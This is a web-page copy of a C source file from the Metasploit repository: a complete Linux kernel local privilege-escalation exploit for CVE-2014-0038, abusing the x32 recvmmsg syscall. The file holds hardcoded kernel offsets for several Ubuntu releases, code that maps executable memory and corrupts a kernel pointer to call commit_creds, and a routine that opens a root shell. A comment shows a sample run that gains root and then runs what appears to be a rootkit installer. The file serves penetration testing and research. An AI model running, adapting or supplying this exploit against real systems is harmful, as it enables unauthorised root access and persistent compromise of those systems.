CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/exploits/CVE-2014-0038/recvmmsg.c
Views: 1904
1
/*
2
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
3
recvmmsg.c - linux 3.4+ local root (CONFIG_X86_X32=y)
4
CVE-2014-0038 / x32 ABI with recvmmsg
5
by rebel @ irc.smashthestack.org
6
-----------------------------------
7
8
takes about 13 minutes to run because timeout->tv_sec is decremented
9
once per second and 0xff*3 is 765.
10
11
some things you could do while waiting:
12
* watch http://www.youtube.com/watch?v=OPyZGCKu2wg 3 times
13
* read https://wiki.ubuntu.com/Security/Features and smirk a few times
14
* brew some coffee
15
* stare at the countdown giggly with anticipation
16
17
could probably whack the high bits of some pointer with nanoseconds,
18
but that would require a bunch of nulls before the pointer and then
19
reading an oops from dmesg which isn't that elegant.
20
21
&net_sysctl_root.permissions is nice because it has 16 trailing nullbytes
22
23
hardcoded offsets because I only saw this on ubuntu & kallsyms is protected
24
anyway..
25
26
same principle will work on 32bit but I didn't really find any major
27
distros shipping with CONFIG_X86_X32=y
28
29
user@ubuntu:~$ uname -a
30
Linux ubuntu 3.11.0-15-generic #23-Ubuntu SMP Mon Dec 9 18:17:04 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux
31
user@ubuntu:~$ gcc recvmmsg.c -o recvmmsg
32
user@ubuntu:~$ ./recvmmsg
33
byte 3 / 3.. ~0 secs left.
34
w00p w00p!
35
# id
36
uid=0(root) gid=0(root) groups=0(root)
37
# sh phalanx-2.6b-x86_64.sh
38
unpacking..
39
40
:)=
41
42
greets to my homeboys kaliman, beist, capsl & all of #social
43
44
Sat Feb 1 22:15:19 CET 2014
45
% rebel %
46
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
47
*/
48
49
#define _GNU_SOURCE
50
#include <netinet/ip.h>
51
#include <stdio.h>
52
#include <stdlib.h>
53
#include <string.h>
54
#include <sys/socket.h>
55
#include <unistd.h>
56
#include <sys/syscall.h>
57
#include <sys/mman.h>
58
#include <sys/types.h>
59
#include <sys/stat.h>
60
#include <fcntl.h>
61
#include <sys/utsname.h>
62
63
#define __X32_SYSCALL_BIT 0x40000000
64
#undef __NR_recvmmsg
65
#define __NR_recvmmsg (__X32_SYSCALL_BIT + 537)
66
#define VLEN 1
67
#define BUFSIZE 200
68
69
int port;
70
71
struct offset {
72
char *kernel_version;
73
unsigned long dest; // net_sysctl_root + 96
74
unsigned long original_value; // net_ctl_permissions
75
unsigned long prepare_kernel_cred;
76
unsigned long commit_creds;
77
};
78
79
struct offset offsets[] = {
80
{"3.11.0-15-generic",0xffffffff81cdf400+96,0xffffffff816d4ff0,0xffffffff8108afb0,0xffffffff8108ace0}, // Ubuntu 13.10
81
{"3.11.0-12-generic",0xffffffff81cdf3a0,0xffffffff816d32a0,0xffffffff8108b010,0xffffffff8108ad40}, // Ubuntu 13.10
82
{"3.8.0-19-generic",0xffffffff81cc7940,0xffffffff816a7f40,0xffffffff810847c0, 0xffffffff81084500}, // Ubuntu 13.04
83
{NULL,0,0,0,0}
84
};
85
86
void udp(int b) {
87
int sockfd;
88
struct sockaddr_in servaddr,cliaddr;
89
int s = 0xff+1;
90
91
if(fork() == 0) {
92
while(s > 0) {
93
fprintf(stderr,"\rbyte %d / 3.. ~%d secs left \b\b\b\b",b+1,3*0xff - b*0xff - (0xff+1-s));
94
sleep(1);
95
s--;
96
fprintf(stderr,".");
97
}
98
99
sockfd = socket(AF_INET,SOCK_DGRAM,0);
100
bzero(&servaddr,sizeof(servaddr));
101
servaddr.sin_family = AF_INET;
102
servaddr.sin_addr.s_addr=htonl(INADDR_LOOPBACK);
103
servaddr.sin_port=htons(port);
104
sendto(sockfd,"1",1,0,(struct sockaddr *)&servaddr,sizeof(servaddr));
105
exit(0);
106
}
107
108
}
109
110
void trigger() {
111
open("/proc/sys/net/core/somaxconn",O_RDONLY);
112
113
if(getuid() != 0) {
114
fprintf(stderr,"not root, ya blew it!\n");
115
exit(-1);
116
}
117
118
fprintf(stderr,"w00p w00p!\n");
119
system("/bin/sh -i");
120
}
121
122
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
123
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
124
_commit_creds commit_creds;
125
_prepare_kernel_cred prepare_kernel_cred;
126
127
// thx bliss
128
static int __attribute__((regparm(3)))
129
getroot(void *head, void * table)
130
{
131
commit_creds(prepare_kernel_cred(0));
132
return -1;
133
}
134
135
void __attribute__((regparm(3)))
136
trampoline()
137
{
138
asm("mov $getroot, %rax; call *%rax;");
139
}
140
141
int main(void)
142
{
143
int sockfd, retval, i;
144
struct sockaddr_in sa;
145
struct mmsghdr msgs[VLEN];
146
struct iovec iovecs[VLEN];
147
char buf[BUFSIZE];
148
long mmapped;
149
struct utsname u;
150
struct offset *off = NULL;
151
152
uname(&u);
153
154
for(i=0;offsets[i].kernel_version != NULL;i++) {
155
if(!strcmp(offsets[i].kernel_version,u.release)) {
156
off = &offsets[i];
157
break;
158
}
159
}
160
161
if(!off) {
162
fprintf(stderr,"no offsets for this kernel version..\n");
163
exit(-1);
164
}
165
166
mmapped = (off->original_value & ~(sysconf(_SC_PAGE_SIZE) - 1));
167
mmapped &= 0x000000ffffffffff;
168
169
srand(time(NULL));
170
port = (rand() % 30000)+1500;
171
172
commit_creds = (_commit_creds)off->commit_creds;
173
prepare_kernel_cred = (_prepare_kernel_cred)off->prepare_kernel_cred;
174
175
mmapped = (long)mmap((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
176
177
if(mmapped == -1) {
178
perror("mmap()");
179
exit(-1);
180
}
181
182
memset((char *)mmapped,0x90,sysconf(_SC_PAGE_SIZE)*3);
183
184
memcpy((char *)mmapped + sysconf(_SC_PAGE_SIZE), (char *)&trampoline, 300);
185
186
if(mprotect((void *)mmapped, sysconf(_SC_PAGE_SIZE)*3, PROT_READ|PROT_EXEC) != 0) {
187
perror("mprotect()");
188
exit(-1);
189
}
190
191
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
192
if (sockfd == -1) {
193
perror("socket()");
194
exit(-1);
195
}
196
197
sa.sin_family = AF_INET;
198
sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
199
sa.sin_port = htons(port);
200
201
if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) {
202
perror("bind()");
203
exit(-1);
204
}
205
206
memset(msgs, 0, sizeof(msgs));
207
208
iovecs[0].iov_base = &buf;
209
iovecs[0].iov_len = BUFSIZE;
210
msgs[0].msg_hdr.msg_iov = &iovecs[0];
211
msgs[0].msg_hdr.msg_iovlen = 1;
212
213
for(i=0;i < 3 ;i++) {
214
udp(i);
215
retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)off->dest+7-i);
216
if(!retval) {
217
fprintf(stderr,"\nrecvmmsg() failed\n");
218
}
219
}
220
221
close(sockfd);
222
223
fprintf(stderr,"\n");
224
225
trigger();
226
}
227
228